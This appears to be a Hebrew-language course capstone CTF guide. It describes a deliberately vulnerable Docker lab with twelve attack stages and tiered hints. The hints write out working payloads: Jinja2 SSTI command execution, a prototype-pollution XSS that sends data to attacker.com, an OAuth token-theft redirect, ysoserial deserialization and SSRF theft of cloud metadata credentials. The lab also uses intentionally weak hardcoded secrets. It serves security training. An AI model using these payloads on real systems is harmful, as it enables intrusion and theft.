אתגר CTF מסכם - פרויקט סיום קורס¶
מבוא¶
זהו אתגר CTF מקיף שמשלב את כל הטכניקות שנלמדו בקורס. האתגר מדמה יעד אמיתי של Bug Bounty עם מספר שירותים מחוברים, וכולל 12 שלבים שכל אחד מהם דורש ידע מסקשן אחר של הקורס.
פורמט דגלים¶
כל דגל הוא מחרוזת ייחודית שמוכיחה שהשלמתם את השלב.
ארכיטקטורת המערכת¶
[CDN/WAF]
|
[Load Balancer]
/ | \
[Web App] [API Server] [Admin Panel]
| | |
[Redis] [PostgreSQL] [Internal API]
| | |
[Queue] [S3 Storage] [Cloud Metadata]
תיאור השירותים¶
| שירות | טכנולוגיה | פורט | תפקיד |
|---|---|---|---|
| Web App | Node.js/Express | 3000 | אפליקציית הקצה |
| API Server | Python/Flask | 5000 | שרת API ראשי |
| Admin Panel | Java/Spring | 8080 | פאנל ניהול |
| Redis | Redis 7 | 6379 | מטמון וסשנים |
| PostgreSQL | PostgreSQL 15 | 5432 | בסיס נתונים |
| Internal API | Go | 9090 | שירות פנימי |
| Cloud Metadata | Mock Service | 80 | סימולציית metadata |
מבנה Docker Compose¶
version: '3.8'
services:
# CDN/WAF - שכבת הגנה
waf:
image: nginx:latest
ports:
- "80:80"
- "443:443"
volumes:
- ./waf/nginx.conf:/etc/nginx/nginx.conf
depends_on:
- webapp
- api
- admin
# אפליקציית Web
webapp:
build: ./webapp
ports:
- "3000:3000"
environment:
- API_URL=http://api:5000
- REDIS_URL=redis://redis:6379
- JWT_SECRET=weak_secret_change_me
depends_on:
- api
- redis
# שרת API
api:
build: ./api
ports:
- "5000:5000"
environment:
- DATABASE_URL=postgresql://app:password@db:5432/ctf
- REDIS_URL=redis://redis:6379
- INTERNAL_API=http://internal-api:9090
- AWS_METADATA_URL=http://metadata:80
depends_on:
- db
- redis
# פאנל ניהול
admin:
build: ./admin
ports:
- "8080:8080"
environment:
- DATABASE_URL=postgresql://admin:admin_password@db:5432/ctf
- API_URL=http://api:5000
# בסיס נתונים
db:
image: postgres:15
environment:
- POSTGRES_DB=ctf
- POSTGRES_USER=app
- POSTGRES_PASSWORD=password
volumes:
- ./db/init.sql:/docker-entrypoint-initdb.d/init.sql
# Redis
redis:
image: redis:7
ports:
- "6379:6379"
# שירות פנימי
internal-api:
build: ./internal-api
# סימולציית Cloud Metadata
metadata:
build: ./metadata
networks:
default:
driver: bridge
שלב 1 - סריקה - Recon¶
תיאור¶
מפו את שטח התקיפה של היעד. מצאו תת-דומיינים נסתרים, נקודות קצה של API, וקבצי JavaScript שמכילים מידע רגיש.
הדגל¶
הדגל נמצא בתוך קובץ JavaScript ששמור בנתיב נסתר.
רמזים¶
| רמה | רמז |
|---|---|
| קל | בדקו את קוד המקור של הדף הראשי. יש קישורים לקבצי JS |
| בינוני | חפשו נקודות קצה מוגדרות בקבצי JS. אחת מהן חושפת מפת API מלאה |
| קשה | הנתיב /api/v2/docs מחזיר Swagger/OpenAPI specification. בקשו /js/app.bundle.js ונתחו אותו עם כלי כמו js-beautify |
כלים וטכניקות¶
- ניתוח קבצי JavaScript (סקשן 1 - סריקות וחקירה מתקדמת)
- כלים:
gau,waybackurls,LinkFinder,js-beautify
שלב 2 - אותנטיקציה - JWT Attack¶
תיאור¶
היישום משתמש ב-JWT לאותנטיקציה. מצאו את החולשה במנגנון ה-JWT והשיגו טוקן עם הרשאות גבוהות.
הדגל¶
הדגל מוחזר כשניגשים ל-/api/admin/flag עם טוקן אדמין תקף.
רמזים¶
| רמה | רמז |
|---|---|
| קל | בדקו את האלגוריתם ב-header של ה-JWT |
| בינוני | השרת משתמש ב-RS256 אבל לא בודק את האלגוריתם שנשלח. נסו לשנות ל-HS256 |
| קשה | המפתח הציבורי חשוף ב-/api/.well-known/jwks.json. השתמשו בו כסוד ל-HMAC-SHA256. כלי: jwt_tool |
כלים וטכניקות¶
- תקיפות JWT (סקשן 2 - תקיפת אותנטיקציה מתקדמת)
- כלים:
jwt_tool,python-jwt, Burp Suite JWT Editor
שלב 3 - OAuth - גניבת טוקן אדמין¶
תיאור¶
היישום תומך ב-OAuth להתחברות. מצאו פגם ביישום שמאפשר גניבת טוקן האדמין.
הדגל¶
הדגל מוחזר כשניגשים לפרופיל האדמין עם הטוקן שנגנב.
רמזים¶
| רמה | רמז |
|---|---|
| קל | בדקו את ה-redirect_uri בזרימת ה-OAuth |
| בינוני | הוולידציה של redirect_uri בודקת רק את תחילת הנתיב. נסו להוסיף נתיב נוסף אחרי ה-callback |
| קשה | השתמשו ב: redirect_uri=https://target.com/oauth/callback/../redirect?url=https://attacker.com והקימו שרת שמקבל את הטוקן |
כלים וטכניקות¶
- חולשות OAuth (סקשן 2 - תקיפת אותנטיקציה מתקדמת)
- כלים: Burp Suite, Python Flask לשרת קבלה
שלב 4 - עקיפת 2FA¶
תיאור¶
פאנל הניהול מוגן ב-2FA. מצאו דרך לעקוף אותו.
הדגל¶
הדגל מוצג בפאנל הניהול אחרי התחברות מוצלחת.
רמזים¶
| רמה | רמז |
|---|---|
| קל | נסו לשלוח מספר קודות OTP בו-זמנית |
| בינוני | יש Race Condition בבדיקת ה-OTP. אם שולחים 100 בקשות במקביל עם קודות שונים, אחד מהם יתקבל |
| קשה | השתמשו בסקריפט שמייצר 1000 קודות (0000-9999) ושולח את כולם ב-burst יחיד. הגבלת הניסיונות לא עומדת בעומס מקבילי |
כלים וטכניקות¶
- תנאי מרוץ (סקשן 6 - תנאי מרוץ ולוגיקה עסקית)
- כלים: Turbo Intruder, Python asyncio
שלב 5 - GraphQL - חילוץ מידע¶
תיאור¶
שרת ה-API חושף GraphQL endpoint. השתמשו ב-introspection כדי למפות את הסכמה ולחלץ מידע רגיש.
הדגל¶
הדגל נמצא בשדה secret_note של אובייקט InternalConfig.
רמזים¶
| רמה | רמז |
|---|---|
| קל | ה-GraphQL endpoint הוא /api/graphql. נסו introspection query |
| בינוני | הפעילו introspection מלא ומצאו את הטיפוס InternalConfig. בצעו שאילתה ישירה |
| קשה | query { __schema { types { name fields { name type { name } } } } } ואחר כך: query { internalConfig { secret_note } } |
כלים וטכניקות¶
- תקיפות GraphQL (סקשן 3 - הזרקות מתקדמות)
- כלים: GraphQL Voyager, InQL Burp Extension
שלב 6 - SSTI - הזרקת תבנית¶
תיאור¶
פיצ'ר "ייצוא דוח" מאפשר למשתמשים לבחור תבנית. מצאו SSTI והשיגו RCE.
הדגל¶
הדגל נמצא בקובץ /flag_stage6.txt על שרת ה-API.
רמזים¶
| רמה | רמז |
|---|---|
| קל | שדה "שם הדוח" בפיצ'ר הייצוא מעובד כתבנית |
| בינוני | המנוע הוא Jinja2 (Python). נסו {{7*7}} כשם הדוח ובדקו אם מוחזר 49 |
| קשה | השתמשו ב: {{config.__class__.__init__.__globals__['os'].popen('cat /flag_stage6.txt').read()}} |
כלים וטכניקות¶
- SSTI (סקשן 7 - תקיפות צד שרת מתקדמות)
- כלים: tplmap, Burp Suite
שלב 7 - Prototype Pollution ל-XSS¶
תיאור¶
אפליקציית הקצה משתמשת בספריית JavaScript פגיעה ל-Prototype Pollution. נצלו אותה כדי להשיג XSS.
הדגל¶
הדגל מוחזר מ-/api/flag7 כשנשלח ה-cookie שנגנב מהאדמין דרך ה-XSS.
רמזים¶
| רמה | רמז |
|---|---|
| קל | נקודת הקצה /api/settings מקבלת JSON ועושה deep merge |
| בינוני | שלחו {"__proto__": {"innerHTML": "<img src=x onerror=...>"}} ובדקו אם הדפים הבאים מושפעים |
| קשה | השתמשו ב-gadget של data- attribute ב-HTML: {"__proto__": {"data-src": "x", "onload": "fetch('/api/flag7').then(r=>r.text()).then(t=>location='https://attacker.com/?f='+t)"}} |
כלים וטכניקות¶
- Prototype Pollution (סקשן 4 - תקיפות צד לקוח מתקדמות)
- כלים: Burp Suite, pp-finder
שלב 8 - Request Smuggling - עקיפת WAF¶
תיאור¶
ה-WAF חוסם גישה ישירה לנתיבים מסוימים. השתמשו ב-HTTP Request Smuggling כדי לעקוף אותו.
הדגל¶
הדגל נמצא בנתיב /internal/flag8 שחסום על ידי ה-WAF.
רמזים¶
| רמה | רמז |
|---|---|
| קל | ה-WAF (nginx) וה-backend (Node.js) מפרשים Content-Length ו-Transfer-Encoding בצורה שונה |
| בינוני | זוהי חולשת CL.TE. ה-WAF משתמש ב-Content-Length והשרת ב-Transfer-Encoding |
| קשה | שלחו בקשה עם שני headers: Content-Length: 30 ו-Transfer-Encoding: chunked. הבקשה המוסתרת תהיה GET /internal/flag8 HTTP/1.1 |
כלים וטכניקות¶
- HTTP Request Smuggling (סקשן 5 - תקיפות פרוטוקול HTTP)
- כלים: Burp Suite HTTP Request Smuggler, Python scripts
שלב 9 - Race Condition - הסלמת הרשאות¶
תיאור¶
מערכת ההרשאות מאפשרת הסלמה דרך תנאי מרוץ. נצלו את המרוץ כדי לשנות את התפקיד שלכם לאדמין.
הדגל¶
הדגל מוחזר כשניגשים ל-/api/admin/flag9 עם חשבון שהוסלם.
רמזים¶
| רמה | רמז |
|---|---|
| קל | נקודת הקצה /api/role/upgrade בודקת קודם אם המשתמש זכאי לשדרוג, ואז מבצעת את השדרוג - בשתי פעולות נפרדות |
| בינוני | שלחו בקשות מרובות במקביל ל-/api/role/upgrade עם {"requested_role": "admin"}. הבדיקה וההפעלה אינן אטומיות |
| קשה | השתמשו ב-Turbo Intruder עם 50 חיבורים מקביליים. שלחו את הבקשה באותו הרגע בדיוק עם engine.queue() ו-gate |
כלים וטכניקות¶
- תנאי מרוץ (סקשן 6 - תנאי מרוץ ולוגיקה עסקית)
- כלים: Turbo Intruder, Python asyncio
שלב 10 - SSRF וענן - Cloud Attack¶
תיאור¶
מצאו SSRF בשרת ה-API ונצלו אותו כדי לגשת לשירות ה-metadata של הענן ולגנוב credentials.
הדגל¶
הדגל נמצא ב-S3 bucket שניתן לגשת אליו עם ה-credentials שנגנבו.
רמזים¶
| רמה | רמז |
|---|---|
| קל | נקודת הקצה /api/preview מקבלת URL ומחזירה תצוגה מקדימה |
| בינוני | שלחו url=http://metadata:80/latest/meta-data/iam/security-credentials/ כדי לראות את שם ה-role |
| קשה | אחרי קבלת ה-credentials, השתמשו ב-boto3 עם הם. הקובץ נמצא ב-bucket ctf-flags בנתיב stage10/flag.txt |
כלים וטכניקות¶
- SSRF ותקיפות ענן (סקשן 7 - תקיפות צד שרת מתקדמות)
- כלים: Python requests, boto3
שלב 11 - Deserialization - RCE¶
תיאור¶
השירות הפנימי (Java) פגיע ל-deserialization. נצלו את החולשה כדי להשיג RCE.
הדגל¶
הדגל נמצא בקובץ /flag_stage11.txt על השירות הפנימי.
רמזים¶
| רמה | רמז |
|---|---|
| קל | השירות הפנימי בפורט 9090 מקבל אובייקטים מסודרים ב-endpoint /api/import |
| בינוני | ה-Content-Type הוא application/x-java-serialized-object. השתמשו ב-ysoserial ליצירת payload |
| קשה | צרו payload עם: java -jar ysoserial.jar CommonsCollections6 "cat /flag_stage11.txt" > payload.bin ושלחו דרך ה-SSRF מהשלב הקודם |
כלים וטכניקות¶
- Deserialization (סקשן 7 - תקיפות צד שרת מתקדמות)
- כלים: ysoserial, Burp Suite
שלב 12 - הדגל הסופי - שרשור הכל¶
תיאור¶
הדגל הסופי מוגן במספר שכבות הגנה. כדי להגיע אליו, תצטרכו לשרשר מספר טכניקות מהשלבים הקודמים.
הדגל¶
רמזים¶
| רמה | רמז |
|---|---|
| קל | הדגל נמצא בנתיב /api/ultimate-flag שדורש: טוקן אדמין + גישה מ-IP פנימי + header מיוחד |
| בינוני | צריך: (1) JWT אדמין מהשלב 2, (2) Request Smuggling מהשלב 8 כדי לעקוף את בדיקת ה-IP, (3) הכותרת X-Internal-Token שנמצאת דרך ה-SSRF |
| קשה | שרשרו: JWT אדמין + Request Smuggling שמוסיף X-Forwarded-For: 10.0.0.1 + X-Internal-Token שנמצא ב-http://metadata:80/internal/token |
כלים וטכניקות¶
- שרשור חולשות (סקשן 9 - שרשור חולשות ועולם אמיתי)
- כל הכלים מהשלבים הקודמים
טבלת התקדמות¶
שלב | נושא | קישור לסקשן בקורס | קושי
=====|======================|===================|======
1 | סריקה | סקשן 1 | קל
2 | JWT | סקשן 2 | בינוני
3 | OAuth | סקשן 2 | בינוני
4 | עקיפת 2FA | סקשן 6 | בינוני
5 | GraphQL | סקשן 3 | קל
6 | SSTI | סקשן 7 | בינוני
7 | Prototype Pollution | סקשן 4 | קשה
8 | Request Smuggling | סקשן 5 | קשה
9 | Race Condition | סקשן 6 | בינוני
10 | SSRF + ענן | סקשן 7 | בינוני
11 | Deserialization | סקשן 7 | קשה
12 | שרשור | סקשן 9 | קשה מאוד
הוראות הקמה¶
דרישות¶
- Docker ו-Docker Compose
- לפחות 8GB RAM
- לפחות 20GB דיסק פנוי
הקמה¶
# שכפול הפרויקט
git clone https://github.com/course/ctf-challenge.git
cd ctf-challenge
# הקמת כל השירותים
docker-compose up -d
# בדיקה שהכל רץ
docker-compose ps
# גישה ליעד
# http://localhost:80 - אפליקציה ראשית
# http://localhost:3000 - Web App ישיר
# http://localhost:5000 - API ישיר
# http://localhost:8080 - פאנל ניהול
איפוס¶
כללים¶
- כל שלב ניתן לפתרון עצמאי, אבל חלקם קלים יותר אם פתרתם שלבים קודמים
- תעדו כל שלב - זה חלק מהלמידה
- אם נתקעתם - השתמשו ברמזים בסדר עולה
- הדגל הסופי (שלב 12) דורש שימוש בתוצאות של שלבים קודמים
- אין צורך לפתור את כל השלבים - אבל נסו כמה שיותר
בהצלחה!